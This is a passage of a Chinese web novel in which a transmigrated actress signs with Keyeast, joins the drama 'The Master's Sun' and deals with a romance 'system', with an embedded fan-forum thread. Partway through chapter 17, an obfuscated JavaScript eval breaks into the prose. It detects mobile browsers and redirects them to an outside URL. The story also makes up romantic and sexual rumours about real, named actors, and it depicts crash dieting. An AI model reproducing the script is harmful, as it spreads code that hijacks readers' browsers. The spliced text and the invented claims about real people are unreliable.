“09年入行算是晚了，拿到青龙新人女演员算是有天赋。”他右手食指漫不经心地在桌面上敲打着，明明是带着笑意在说话，但这份笑意并未达眼底。 “宋玉妍xi，头部的演员基本上25、6就已经在南韩达到家喻户晓的程度了！”裴永俊言下之意就是，她在这个卷年龄的圈子里，不管是奖项还是实绩都不算特别拿得出手。 宋玉妍在揣度着他的意思，如果说keyeast真的不想签她，何必让老板亲自来面试呢？只是给李智真面子的话，完全可以让另外的高层来搪塞她。 她稍微并紧了腿，腰部挺地笔直，脸上的笑容无懈可击，仿佛对方的话对她来说没有丝毫作用。 宋玉妍在心里默默笃定了几分，裴永俊是有签下她的意向的，换句话说她至少达到了keyeast的最低签约标准。 但是她没有贸然开口，未来的老板在没有签约之前说出这样一番pua的话语，目的极有可能只有一个——那就是压价。 “所以你觉得你能为公司带来什么？我怎么能确保公司在你身上的投资不会打水漂？”裴永俊微微前倾。这个的姿势带来的压迫感，很容易给心理素质不好的人造成一定的压力。 商人选择一个商品从来都是看中价值，亏本的买卖向来不会做。他想看到宋玉妍能值不值得他出的这份价格！ 15、第十五章（内含论坛体） 明白对方心里的想法后，宋玉妍心思稍定，至少证明她身上有裴永俊看中的点。这位能够从演员成功转型成商人，说明他的眼光毋庸置疑。 如果不是良好的商业眼光，对方怎么会抓住机会，接受种花资本的介入，然后从老牌的演员经纪公司手里分走一杯羹！ 自家老板有商业头脑当然最好，至少不会又菜又爱装。明明对公司运营什么的一窍不通，还总喜欢指手画脚。 没错，宋玉妍就是在点自己的前老板，之前旗下艺人的职业规划做得一塌糊涂。 “代表nim，可能是因为之前的路没有走对，前公司和我对于规划方面都出了些问题。”她并没有把锅全部都甩给前公司，这就和现任谈恋爱时不能说前任坏话是一样的道理。 宋玉妍穿过来后复盘过原主不火的原因，虽然前公司要付百分之八十责任。但是那样做并不会让新老板对她的印象变好，只会给人留下她没有担当的印象。 而且还是有些事情她也隐瞒了，原公司和合作的一些忠武路导演放话，不让他们用自己。 不然现在也不至于混的这么惨，以后既然主攻电视剧，这些事情也就没有必要说了。 裴永俊皱了皱眉，没有表示他对这个回答认可与否的态度。“如果来了我们公司，你想往哪一个方向发展？” “过去我和公司都太执着于忠武路了，后续我可能会更加偏向于小荧幕，先把国名度和商业价值刷上去。”这个时期的忠武路女演员基本上都是镶边的作用，导演偏爱男主戏。 除非你是全知贤或者全渡妍那样的超一线女性。前者拥有单抗票房的能力，后者戛纳影后的光环让她成为文艺片类型的绝对第一选择。 原主之前也试着走过文艺电影的路线，但是《银娇》叫好不叫座、圈里后续没有高质量的剧本接上，让人认清了现实。在忠武路，不管是片酬还是试错机会，女演员都还是比不上男演员的。 说完这段话，宋玉妍从包里拿出了今天上午刚和《主君的太阳》剧组签订的意向约，给对面递过去。 这也是变相在向他展示着自己的价值，也许公司对捧出一个现象级的女艺人没有绝对的把握，但是签她绝对不会亏本。 裴永俊接过来一看翻了两页，来了点兴趣，“洪美兰作家新的本子？” “对！目前只是签了意向约，达到要求就可以直接进组！” “靠你自己拿下这个女二号，也还算是可以了。”他也听说了cj新签的女艺人在剧组作妖的事情，当时他还在边上看笑话。 也给剧组推荐过自家公司的女艺人，洪氏姐妹出品那一部部都是爆剧。不管是让新人刷脸还是让人名气更上一个台阶都是很好的跳板。 但是推了三个过去，作家一个都不满意，本来以为孔孝珍要忍新人一段时间了。没想到最后这个角色还是花落自家公司。 裴永俊虽然本来就要签下宋玉妍，但是人家一来公司就自己先谈下资源。这样的惊喜仅次于天上掉馅饼，后续只要她老老实实不作妖，这就是笔稳赚不赔的买卖。 他从抽屉里拿出原本就打印好的合同，“你可以拿回去找律师看看，虽然三七分的分成对于演员来说很低，但是公司会给你提供团队。” 养团队那可是一笔不小的开支，公司这样也是承担了风险的。裴永俊在赌，赌宋玉妍以后带给他的回报会覆盖现在付出的这些成本。 她也不是第一签经纪合约了，翻开之后，逐字逐句、仔仔细细地看了一遍。 这份合同还算是公允，虽然公司抽成多，但把权责写的很明白，后续不管是公关、宣发还是接洽资源都一手包了。 甚至还出钱垫付助理薪酬和租房的花销，除了五年签约年限比较长以外，真的挑不出毛病。就连违约金都只有7亿韩元，不过是她前世一部片酬的二分之一。 “代表nim!”她感觉未来老板对她应该还算满意，应该会好说话一点。“《主君的太阳》这部剧是我自己谈下了的，公司可不可以不抽成？” 听到这个问题，裴永俊嘴角忍不住抽搐。宋玉妍是怎么能顶着这样一张漂亮的脸蛋，说出这样市侩的话语？ “公司不是做慈善的，后续对接也是要工作人员对接的！” 顿了顿，他继续说道：“这笔片酬按二八分成吧！就当是只给工作人员的辛苦费！” 宋玉妍本来也只是随口一说，没想到片酬的分成还真降下来了，简直就是意外之喜。 顿时当着老板的面，她把合同再翻了一遍确认没有问题之后，干脆利落地在三份合同上，分别签上了自己的汉字名字。 看到她签完名之后，裴永俊起身把西装下摆的纽扣扣上，然后伸手。“欢迎加入keyeast！从现在开始你的工作会有专门的工作人员接手，你负责好好拍戏就行。” 她听到这话简直感动到快要落下泪来，身兼数职的日子终于结束了。 “公司后续会安排你和金秀闲一起拍摄九日牌的果汁广告，你注意后续会有人联系你！” 她伸出手，只感觉手心被轻碰了一下就分开。没想到一签约公司就有cf资源推荐，有经济公司就是好，“代表nim，片酬大概是？” “能把你塞进去已经是公司半卖半送的亏本生意，你还想着片酬？”裴永俊是真的被逗笑了，之前圈子里面也没有传出过宋玉妍爱财的消息啊！ 看这风格不太像是自己公司的，反而更像是bh的，这做派和李炳宪如出一辙。 拿到广告的大概脚本，宋玉妍就立刻准备开溜了，这也不能怪她啊。 这段时间她算是吃尽了没有钱的苦头。如果这种经济不宽裕的日子再持续时间长一点，她可能真的会去找前夫哥。 回家的路上，宋玉妍在公交车上，被摇摇晃晃的车身晃得昏昏欲睡。就连车窗外熙熙攘攘的最爱的黄昏街景都无暇欣赏，只有首尔春日新冒出的枝桠也像是在为她庆贺。 手机不断发出动态“滴”、“滴”的声音，在疲惫的她听来，这单调重复的音符像是交织而成的美妙乐曲，听得让人心旷神怡。 点开一看，不断有人给她发送消息。 「宋玉妍xi,我是公关部的职员，你的ins账号密码麻烦给我们一份，后续的商务合作我们这边会帮您转发。（我们现在只是代为接管，后续还是会交由经纪人）」 她现在还没有ins大号，小号密码并不想给出去。 「宋玉妍xi，我是造型部门的职员，后续出席活动、晚宴需要礼服化妆可以联系我。」 …… 她的手指在屏幕上轻轻一划，也许是现在还没有确认她被分在那个经纪人手下。 现在这些对接工作还是得靠她自己，后续有了经纪人后工作量还能再减少。 之前在裴永俊办公室她也问过这个问题。但新上任的老板并没有回答她的问题，只是神神秘秘地笑了笑，最后回了她一句：“到时候你就知道了！” 她划到底端，发现是新助理的消息。 「宋玉妍xi，我是你的助理崔玉珍，后续负责你生活方面的，公司这边要求我和艺人一起居住，你这边能把地址发给我吗？」 看到这条消息，宋玉妍想到自家那个狭窄的考试院单间，十几平方米住她一个人都够呛！ 她只能回复先等以后找到合适的房子再说，现在是真的不方便一起住。 和助理的一起住考试院，这几个字那个都看起来很炸裂。 剩下的这几天，她都是在水深火热中度过，一直在轻断食，甚至有两天除了水什么都不碰。靠着这样不健康的减肥方式，硬是逼着自己瘦了十斤。 这具身体原本的食欲非常好，这也是她为什么会身材管理失败的原因之一。 等正式进组时，宋玉妍发现这次的待遇完全不一样了。至少有人领着她、告诉她应该干什么了，不用像个无头苍蝇一样到处乱窜。 她带着助理跟着之前在洪作家家里见过的那个圆脸女生，走到了化妆间。 “我是太伊玲这段副线剧情的跟组作家，宋玉妍xi你可以叫我白善英！”圆脸女生一边说一边从不知道那个角落拿出一个银色的体重秤，示意她站上去。 “这是作家的要求，她最讨厌不把她要求当回事的演员！” 幸好宋玉妍没有签了意向约之后，就把人家的要求当作耳旁风。她把包递给旁边的助理崔玉珍后，光脚站了上去。 在看到光屏上47.8的数字，她和白善英对视了一眼，两人不约而同地露出了满意的笑容。 看来今天早上禁饮食是很明智的选择，宋玉妍在心底也是松了口气。 从这些短暂的接触中不难看出，洪美兰作家就是性格比较强势的那种。如果她体重没有达到对方的要求，相信对方肯定还有备选，就只能演员自己走人了。 也许是确认了她就是未来的工作搭档，白善英就像是放松了下来。开始和她八卦两句。 “其实之前那个太伊玲也是不太聪明！不但和孔孝真拧着来！还搞得她自己的公司也很不满！” 宋玉妍只听到过原本的演员把剧组的工作人员、女主还有男主得罪了个遍，但是具体的倒是没有听说。 “原来那个……是怎么回事？”不是说她是cj力保的新人吗？ 都进组三个星期了，怎么会突然被换下来。要换早换了，毕竟人家也不是第一天在剧组作妖，这么久早该习惯了。 白善英离宋玉妍更近了，声音小到几乎像是在贴着她的耳边说话。“这你就不知道了吧……” —— 论坛体：扒一扒宋姐背后的男人们 1l：我说宋姐的正宫是李正宰，大家都没有意见吧! 2l：这个倒是没有问题，毕竟是已经结婚了的官配嘛!李叔在拿艾美奖的时候都要炫耀一下老婆是宋玉妍。拜托，整个南韩都知道你老婆是谁! 3l：虽然但是，和郑宇盛也很好磕!宋姐上综艺的时候，要求选择理想型年上还是年下时，毫不犹豫地选择了年下。结果下一秒李正宰和郑宇盛之间，还是选择了郑宇盛（当时和李正宰应该是在分手冷战期）。 4l：我不管，还是觉得她和郑宇盛之间最好磕。当初《狩猎》去戛纳宣传的时候，场外郑宇盛帮宋姐点烟的图，简直就是女a男o的神！（贴图）（贴图） 5l：圈外人，不管!浅吃一口饭，香迷糊了! 6l：圈外人，偷吃一口。感觉宋姐一个眼神，郑宇盛就知道要点烟，这默契绝了。 7l：他们三个在一起把日子过好比什么都重要，韩国有自己的燃冬! 8l：李叔真的是把所有的偏爱都给了宋姐，13年百想后台的时候，他的眼神就一直没有离开过她。（贴图）（贴图） 9l：当初不是有小报传言，宋玉妍能接下那部大爆剧的女主，李正宰在中间费了很多力气，托了很多关系吗？ 10l：小报看看得了!没有实锤不要拿来乱说!还有小报说李正宰是床伴上位呢，要知道我宋姐的取向狙击从来都是年下。 11l：偏题了，我拉回来吧，和金秀闲之间也很好磕好吧!年下+奶狗系长相+演技派，简直就是为宋姐量身定制。 12l：14年的盛况谁还记得，两人联手横扫所有电视剧奖项。荧幕最佳cp都要拿烂了！ 13l：要不是宋姐家里突发变故，说不定还真能让那小子后来者居上！ 14l：这就不得不提两人之间的媒人——裴永俊，这两位很好嗑！ 15l：当初拍摄九日牌果汁的路透。（贴图）（贴图）（贴图） 16l：宋玉妍手里抱着的香槟玫瑰，好像还是去探班裴永俊送的。而且他只买了一束，当时公司最大的摇钱树金秀闲都没有份。要说他心里没点小九九，我是不信的！ 17l：对对对，我记得当时金秀闲的站姐还为这事去维权了，觉得公司不在乎自家正主。南韩第一个粉丝开卡车开到演员经纪公司的！ 18l：当时keyeast记者会，话里话外都是对宋玉妍的维护。感觉就像是老板授意的，不管怎么样，浅磕一口。 19l：虽然宋姐从来不把180以下的男人放在眼里，但是裴永俊对她是真的没得说。后面因为家庭变故，半退圈了，老板也没有要违约金。 20l：真的，资本家不要钱，简直就是不可思议，这绝对是真爱了。 21l：宋玉妍都说了，很感谢老板当时的提携之恩。但是李正宰可是初恋，你们还磕邪门cp。 22l：楼上是李正宰本人吧！上大号发言。低声些，你床伴转正难道就很光彩吗？ 23l：裴永俊每次看宋玉妍的眼神，比他演《情定大饭店》的时候还要深情，这谁不磕？ 24l：他的脸上就差直接写着，那么多朵玫瑰，他就爱这一朵了。 …… 135l：和徐仁果当时也好好磕啊，少男的脸红胜过一切告白！（贴《主君的太阳》片场花絮） 136l：宋姐后续上综艺还说他是很细心的男生，有一次她淋湿雨了，剧组所有人都没有发现，只有他给递了毛巾。 137l：我看过这个综艺，《我独自的生活》，15年的第6期。都过去两年了，还能记得这么清楚，说明真的是印象很深刻了。 138l：当时李叔在《暗杀》宣发会，被记者贴脸开大，问怎么看两人之前的互动时，后槽牙都咬碎了吧。 139l：当时两人已经官宣恋爱，李叔是真的被那个记者气得不轻。表情完全失去管理，桌子下的手完全用力握成拳头了。 140l：当时他那个表情把我吓到了！（贴图）感觉比《新世界》里的李子成还要狠，记者下一秒会被他扔汉江喂鱼的既视感。 141l：当时和《继承者们》的几个男演员也好搭，尤其是金宇彬单手抱，感觉荷尔蒙都要溢出屏幕了。 142l：金宇彬的表情看到宋姐都会柔软下来，剧外看起来像是一只想要和姐姐贴贴的罗宾犬。 143l：和崔振和也好搭啊，金元在剧里把所有的温柔都给刘rachel了。明明两个人的同框图不多，但就是很戳我。 144l：这两位在《九家之书》就合作过了，只是当时两人都很糊，无人开磕。 145l：当时的海报两人离的好远，哭哭，一直觉得他们两个最有cp感。 146l：崔振和服完兵役回来，宋姐还给他推荐了本子。 147l：李正宰还在《出差十五夜》里面吐槽过，宋玉妍还想把崔振和签到artispany来呢。 148l：啊哈哈哈哈，这是什么地狱笑话。 李正宰：送老婆公司股份？可以！ 签情敌？不行！ 16、第十六章 听说她晚上去敲男主苏智燮的房门的事，被金主知道了！”白善英也是听大作家和高层聊天时，不小心听到了。 这个八卦憋在她心底很久了，又不能和自己的朋友说，剧组其他人也不知道会不会乱传。只有宋玉妍都是一个圈子里面的，就算知道了应该最多也就和艺人说一说。 八卦是人的天性，以前的宋玉妍可能是看起来太有距离感了，都没有人主动和她说这些。 她还想知道更多，主动贴跟组作家更近，“啊！她是怎么敢的，她的……男朋友对她已经算好的了。” “你们在说什么？”孔孝真看到新来的“太伊玲”和跟组作家在角落窃窃私语后，走进大化妆间，她也忍不住出声。 本来剧组的男女主都是有特殊的待遇，其中之一就是可以不和配角们一起共用化妆间。 孔孝真一般都是在自己的化妆间待着，但是现在没有那么多空间。空不出两个多余的化妆室，苏智燮又是前辈，孔孝真只能主动把空间让出来。 在看到新人一来就和跟组作家亲密，她在心里敲响了警钟。 别怪她草木皆兵，那个cj新人在剧组花样作妖的场景她还历历在目呢！ 白善英一看是主演来了，又不好说自己在背后蛐蛐别人，只能半是尴尬半是温柔地笑笑。 宋玉妍则是觉得这没什么不能说的，回复道：“我们在说之前的那个cj新人，我刚来剧组不久，不太了解这些。出于好奇就主动问了白作家！” “莫？”孔孝真也是被之前的事情搞得没有脾气了，猫有猫道、鼠有鼠道，剧组这些工作人员总是有些不明的消息来源。 “对！我之前听其他的化妆师在说她有金主，还敲苏智燮前辈的房门！”宋玉妍把自己知道的说出来。 “内！那段时间苏智燮xi可是被她烦得够呛。” 男女主的酒店就在同一个楼层，孔孝真想到苏智燮当时要装作房间没有人，不应答的样子就觉得好笑。 白善英也许是觉得孔孝真人还不错。不认同之前剧组传得孔孝真和cj新人之间的矛盾，一个巴掌拍不响的传言，听到她主动开口说一线的八卦后也就放松了下来。 她把自己知道的也大大方方地说出来，“本来cj是不打算放弃她的，毕竟听说那个金主还是很看好她的。” “然后呢？”宋玉妍和孔孝真忍不住异口同声道。说完之后，两人默契地对视了一眼。发现两人之间有不同寻常的默契后，又忍不住相视而笑。 白善英看到这一幕之后，忽然对大作家交代下来完善两人之间的友情线有了灵感。 顾不得和她们继续八卦，“等等！”她从口袋里掏出手机，打开备忘录把刚刚的思绪给记录下来。 瓜吃一半是最难受的，幸好现在宋玉妍和孔孝真都没有拍摄任务，所以这么一会还是能等得住的。 “但是不知道谁给她金主的邮箱发了一段她敲男主房门的视频。”白善英没有说的是，之前她们都猜是孔孝真做得，毕竟那一层的酒店就算是工作人员也不能随便上去。 “大发！” “大发！” 两位女演员表示这瓜吃得很满足，三人又随便聊了几句，孔孝真就得继续去补妆了。导演就那边开始叫女主，她的有些戏份提前了， 《主君的太阳》本来拍摄时间很充裕，但是因为原来演员的原因，导致很多戏份都得重新拍摄。 电视剧已经定好档了，如果不想开空窗的话，剧组所有人员只能加班加点的赶。 宋玉妍还好，前八集只要是男女主的戏份，她的压力自然没有那么大的。 看到和孔孝真新加的kkt，她就知道，她算是初步融入了这个剧组。不管是能很好地执行了大作家的要求，还是通过聊八卦和跟组作家、女一号拉近关系。 “宋玉妍xi,后续的剧情随时都有可能变。”白善英像是才想起来，连忙从包里拿出新的剧本。“这版的你先看一下，后续如果还有改动的话，我再和你说。” 这就是为什么她不那么喜欢电视剧的原因，南韩的编剧心思变得比天气还快，一天改八次剧本都不是不可能。 “谢谢了！” —— 也不知道是为了照顾她，仓促进组还是怎么回事。宋玉妍前两天基本上都没有见到两位主演的面，一直都是跟着b组的导演拍些不痛不痒的戏份。 倒是和男二徐仁果很快熟悉起来了，也许是因为他和剧里的反差巨大。 明明看起来更像是年龄更大的哪位，但还是经常害羞地喊她前辈。 自从知道宋玉妍的演技得到过青龙新人女演员的奖杯认证后，他就总是把狭长的眼睛张地溜圆。 然后买一些低糖的水果或者是咖啡，主动过来找她请教一些演技类的问题。 “喏，就像是这个地方，你对女主很心动，但是又不自知。”宋玉妍拿起他的剧本，用自己的荧光绿在上面划了划，“这个时候你就算全然面无表情，眼睛里面的情绪也应该要到位。” 看着旁边人垂落的发丝，不断在自己每天都碰过的剧本上蹭来蹭去。偶尔会不经意间触碰到他的手。 徐仁果的手忍不住躲了一下，然后抬头看到身边人毫无察觉的样子，又若无其事地把手放回了原位置，不知不觉间红了耳朵。 他被淡淡的玫瑰味包围，对上宋玉妍丹凤眼的一瞬间，眼皮向下垂了一瞬。再次对视时，眼睛里满是自己也不曾察觉的温柔。 “没错！就是这样的眼神“，她很是惊喜，虽然以她的经验，教一个跨界来演戏的歌手是绰绰有余。但是没有想到他一点就通，哪个“老师”不喜欢这样聪明的学生？ 旁边专门负责拍摄花絮的导演，做旁边都快要磕拉了，俊男美女坐在一起讲戏，光是这份暧昧的氛围就足够美好了。 这段可以先放出来预热，男女主的感情戏都是高光都是要放在正片里面的。不然洪作家会不高兴，这次她尝试的题材也是新颖，拍摄之前都不许剧本外泄一个字。 “徐仁果xi，你如果在演戏这条路上一直走下去，迟早有一天青龙电影节的奖杯会颁给你的！” 宋玉妍不管片场的机器在干什么，只全身心投入教学的乐趣中。 “就是到时候你要控制一下，脸不能红，脸一红你这个角色就崩人设了！” 徐仁果没有想到他的演技居然能得到她的认可，虽然没有技巧全是感情。他无奈地低声嘟囔一句：“因为是你啊。” 对上她这张犯规脸还被要求不能脸红，实在是有些强人所难。 这几天缓慢地度过了，剧组所有人都觉得女二号换人实在是一件再好不过的事情。大家都很珍惜现在风平浪静的生活，虽然之前能够吃瓜但是激增的工作量是真的让人苦不堪言。 就连导演都没有特别暴躁，宋玉妍觉得这位在她合作过的导演中，脾气好到可以拍前二。 另外一个并驾齐驱的是李正宰，前世她在《狩猎》里客串的时候，他的脾气也是很不错的。 「宿主，你终于记起攻略对象了吗？」系统幽怨的声音忽然出现，吓了宋玉妍一小跳。 「……」 她不打算回答这个问题，因为宋玉妍确实是把攻略任务抛之脑后了。《主君的太阳》是她待过最舒服的剧组，跟组作家和她关系好经常说八卦逗她笑。 孔孝真也是很好的前辈，偶尔她们也会在一起吃饭，虽然很多时候都是索然无味的减脂餐。 还有搭档的cp徐仁果很可爱，难怪那么多人都说年下好。 这才是他演的第二部剧，剧里经常瘫着一张脸，谁能想到他剧外看到剧本上标注的吻戏都会脸红。 「宿主，我求求你，这个世界的攻略对象是李正宰！」之前又是想去找前夫哥，现在又是在逗年下男，这是想干什么？ 「系统！你怎么回事！就算要完成攻略任务，你们规则上面也没有写不让宿主谈恋爱啊！」宋玉妍坐在小马扎上漫不经心地吹了吹指甲。 「可是……」 「你们规则上写的只是，不能再次攻略前任攻略对象。」虽然有点绕，但是她觉得以系统cpu的运行能力，应该可以理解这件事。 「再说了，就算我和郑宇盛产生交集，我又没有和他谈恋爱！更何况我都没有和他产生交集，现在只是在发挥前辈爱，教教人演戏怎么了？」 系统就知道，它说不过宋玉妍，作为人工智能它第一次有了自卑的情绪。明明宋玉妍的脑容量比它cpu的容量小的多。 不和系统继续掰扯了，宋玉妍发现自己老板给她打电话来了。简单来说就是让她明天晚上打扮稍微正式一点，要带她去一个半私人性质的聚会。 “放心，我虽然不会阻止自家艺人走捷径，但是牵桥搭线的事情不会做。”电话那边的裴永俊像是知道她在想什么，主动解释道。 “这个聚会都有哪些人？” “演员这边的话，应该有李炳宪xi、宋成宪xi、黄振民xi……” 都是些忠武路中生代大佬演员，如果不是自家老板带着去，她恐怕连门都摸不到在哪里。 裴永俊继续报道：“还有郑宇盛xi。” 听到这个人名，系统悬着的cpu终于烧了。 17. 第十七章 「系统，你知道拿捏用英语怎么说吗？」宋玉妍此刻真的是觉得自己这个经纪公司签对了。 老板靠谱，还能让自己轻轻松松拿捏系统。 系统：「……」 本来以为前面几集女配的戏份并不多，但是作家突然就调转了她的戏份。 和运动员婚礼的情节本来是第三集的戏份，现在却提前到第一集了。 整个剧组都像是上了机油的流水线机器，严丝合缝地开始高负荷运转。现场的气氛更是为之一绷，没有人会在这会掉链子。 就连白善英都没有了往日嘻嘻哈哈样子。整个人不断从杂乱无章的场布中，小小心翼翼地避开机器、电线，然后跨越大半个剧组，从办公室里面捧出新出炉的剧本。 “宋玉妍xi，你好好看一下新的飞页，估计等场景完全布好就要开始。”她把这份来得艰难的剧本往宋玉妍手里一塞，就开始匆匆忙忙地去对接其他演员了。 “还真是让人头大！”她是怎么没有想到，在电视剧要上映前一周，作家本人又把剧本给改了。 只要演员、导演、剪辑、后期中的任意一环掉链子，这个剧就有可能在黄金档开天窗。她只是一个人微言轻的小演员，没有话语权。 下一场戏就是宋玉妍的，她没有办法只能认命地开始重新背词，不少都重新改过。 大段的台词才堪堪能记下，那边导演就在催：“演员好了没有？赶快就位！” 她连忙把自己的外套一脱，露出里面的戏服就往A组那边赶过去。这是她进组一个多星期以来第一次和主导演合作，之前都是和B组的副导演交流更多。 导演因为这样的压力嘴角都起好几个燎泡，水都来不及喝上几口，看演员还没有到位。自己亲自端着摄像机拍了几段空景，然后对着现场提出要求。 “那边的甜品吧台太空了，女二的海报放斜了，道具组赶快调整一下！” “拍人的话，这点灯光不够，灯光师呢！？赶紧多加一点面光灯，不然到时候人脸拍出来全是沟壑。” …… 知道导演最近压力大，剧组的人都手脚麻利地把他的要求贯彻，不到五分钟场景就调整好了。 宋玉妍和苏智燮，还有扮演她未婚夫的特约演员站在旁边，安安静静地等着导演的指挥。 看到演员到了，导演先是事无巨细地开始给他们讲了这一段站位，然后手把手地带着走了一遍戏。 如果是平时，负责一部电视剧的主导演哪里会这么闲，一点一点掰开揉碎就差把怎么演喂到演员嘴里。 因为电视剧的机位没有电影那么多，宋玉妍也是很认真地在听导演的要求。有的时候演员的呈现和导演追求的效果，很容易背道而驰。 “好了，就这样，action!” 导演声音一落下，宋玉妍就完全进入了状态，把手上的道具墨镜一戴，高跟鞋在白瓷色的地板上敲击着。 一段走路的长镜头过去，就是她和主君的对白。两人之间的对白还是很偏生活化的，太伊玲作为一个模特不满意对方给的待遇，提出了质疑。 主君则是告知她，必须用婚礼来为商场做宣传，只有带来客流量，他才会把她作为唯一的代言人选。 导演看着演员在监视器里无可挑剔的表现，紧绷着的神经终于放松了一些。 这段长镜头一收，他就宣布这一条过了。 苏智燮显然也没有想到，宋玉妍能把自己的戏份完成的这么好。电视剧和电影的拍摄习惯完全不一样，对方显然适应良好。 这段戏看着简单，生活化的戏份也是最难把握的。 电影里面很多角色大部分都是普通人难以接触的，就算对角色有些理解的偏差，观众也不会觉得突兀。 但电视剧不一样，很多角色一旦偏离，观众可不会买账。苏智燮是真的觉得对方不管是天赋还是演戏的功底在他见过的演员中，算得上佼佼者。 他在心里感慨了一句，新人发展势头这么好的话，他们这些旧人有一部分就得给他们让位。 女二号不作妖，颜值、实力都有保障，这部剧的成绩只怕会比预想的还好。 这段戏过了之后，宋玉妍也松口气，能给导演和主演留下一个好印象当然是好的。 下一个戏份就是明天上午的婚礼，今天下午主要是把戏服试好。 在化妆间试婚纱的时候，宋玉妍看着镜子里的自己有些恍惚，确实是圣洁又美好的样子。 这也算得上“第一次”穿婚纱了！忍不住对着镜子拍了几张照片，准备后续配合宣传用。忍住没有发ins，毕竟剧还没有上。 白善英推门进来的时候，看到她忍不住来了句：“大发！如果给徐仁果看到，不得给他迷死？” 她调侃着，作为敏感的文字从业者，她能感受到两人之间暗戳戳地那点暧昧气氛。 “欧尼～”宋玉妍没有想发展剧组情侣的想法。 “本来就是，那小子只有对你才会那么殷勤。” 白善英是他们之间cp粉头，毕竟戏里的感情线都是她一个字一个字写出来的。 之前两人之间的花絮浏览破十万，她也贡献了一份力呢。 “怎么不说wuli孝真，和苏智燮xi的cp感更足？”宋玉妍不着痕迹地转移了话题。 “是真的耶啵，我和很多女演员都搭档过，这般不讲道理的美貌还是第一次见！”白善英顺着她的心意换了个话题，手没有忍住在她娇嫩的脸上捏了一把。 宋玉妍小心翼翼地提着裙摆，听到这话被逗得笑出声来，“那有你说得这么夸张，不愧是作家，这样夸人的词汇我可想不到！” “你们这是在说什么？”孔孝真好不容易从导演那里逃脱，能来这边休息一会。 白善英：“我在说宋玉妍xi的美貌，着完全就是国宝级的！” 听到这话，孔孝真先是嘴角下压、眼里晦暗了一瞬，转身看到宋玉妍时，确实是失神了一瞬间。 “确实是！”就算是心情不好那也只是一会，孔孝真很快就调整好自己的心态。 “果然是作家，夸人的话都这样与众不同。不过我都能想到以后宋玉妍xi走红毯的时候，观众会怎么夸！” 白善英没有想到，宋玉妍和孔孝真默契十足，就连说出的话都差不多。 宋玉妍则是对她的话感到了好奇，当刚刚没有看到她不自然的神色变化。“会怎么说！” “无非就是什么：震惊东亚的容貌；宋玉妍为国争光级别的美貌；你的脸蛋，韩国的荣耀。”孔孝真耸了耸肩膀，把语气学了个十成十。 三人瞬间笑作一团，宋玉妍还是有些顾虑怕把戏服弄皱，还是有些小心翼翼的。但是其他两人都没有这样的烦恼。 “正好，我带了拍立得，我们一起拍下来，就当是留作纪念吧！”孔孝真很满意这个剧组，不但能交到真心的朋友，而且在拍戏的时候对着苏智燮的帅脸感觉可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279096|166750||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以原谅全世界。 快门的声音和笑声此起彼伏，这就是时间最好的样子。 等孔孝真休息完离开化妆间的时候，在门口来探班的经纪人再也忍不住了，走过去说道：“孔孝真xi，本来网上就有很多质疑你容貌的声音！这个女二号又长得……” 他欲言又止，但还是继续说道：“等剧上映了，拿你容貌说事的声音只多不少。我们不能再换一个？我看CJ的金优利就还可以……” “难道你对我的演技没有信心？”孔孝真立刻打断了经纪人接下来的话。 “如果不是演技能让剧热播，我凭什么能得到那么多好的本子？和那么多“男神”搭档？” 长得好看的人在娱乐圈多如牛毛，如果每一个她都不和人家搭档那也是自己把路走窄了。 况且宋玉妍不会是那种会买通告营销自己颜值，踩别人的人！ “欧巴，长得好看只是敲门砖。如果没有相应的演技匹配，在年轻的时候还可以做花瓶，但是年纪大了就会被观众抛弃。只有演技是自己的，我有信心！”她在安抚自家经纪人，也像是在说服自己。 —— 第二天宋玉妍好不容易拍完婚礼的戏份，从早上4点开始到下午5点钟，这还是在她没有失误的情况下。 昨天要参加私人聚会的事情是裴永俊亲自打电话和剧组请假，不然剧组是不会在拍摄前期就放人。 在结束一天高强度的戏份，她靠着片场外的一个树上，此刻只想瘫着。旁边的崔玉珍帮她拿着水杯、包和一些杂物。 没有过多久，一辆蓝色的迈巴赫开了过来，双闪灯打得一闪一闪。 宋玉妍看到之后，从助理手里接过自己的包，然后快步过去打开后座的门打算坐进去。 在看到驾驶位是自家的老板后，她动作明显停滞了一瞬间。“代表nim？” “会开车吗？” 宋玉妍听到这个问题迟疑了一瞬间，她是会开车的，但是这次没有驾照啊！“会，但是没有驾照！” 驾驶位上的裴永俊有些无奈，这和不会有什么区别？“先上来吧！” 让老板开车还是有些不太好，她主动开口说道：“要不让崔玉珍xi开车？” “今天的这个主办人不喜欢外人去，很讨厌自己的家被人窥探隐私，所以只有我们两个人。”裴永俊也是很无奈，自己给自家艺人当司机。 听到这话，宋玉妍只能打开副驾驶的位置，对着老板尴尬地笑了笑。 坐进去，局促地拉上安全带。也许是受到原主的影响，她现在对前后辈关系比之前敏感多了。让老板开车，这就是一个不算太礼貌的举动。 也许是感受到旁边人的紧张，他决定好人做到底，让人如沐春风般地询问道：“我不太听Kpop音乐,放一点轻音乐可以吗？” 宋玉妍当然是毫无疑义，看着对方打开车载播放器。《riverflowsinyou》音符在车里流淌着，像是温柔的春水，几乎能感受到琴键起落的悠然。 看到她放松一些了，裴永俊主动开启话题，“之前看你给公关部报备过，有前男友，今天的聚会他不会也在吧！” 想到那个人的名字，宋玉妍脸上的表情凝固的一瞬间，被裴永俊捕捉到了。 “看来我今天的运气很适合去买大乐彩了！”这样随口一说都能猜中！ “是谁呀？”老板也是会八卦的，就自家艺人这颜值，谁会舍得分手？！ 18、第十八章 宋玉妍当然不会满足自家老板的恶趣味，而且之前裴永俊和她说名单的时候，李正宰并没有在上面。 她不说，裴永俊还不会长嘴问？看来那个人不是籍籍无名之辈，不然她怎么会再三缄口。 “李炳宪？” “宋城宪？”裴永俊直接往大了猜。这两个和他同辈的忠武路演员，身上的风流债不少。 她眼光应该不至于这么烂吧？！宋玉妍直接摇摇头表示不是。 “不是就好！”他在心底舒了口气，苦口婆心地劝说道：“以后离这两个远一点，真想走捷径也别找这两个。” 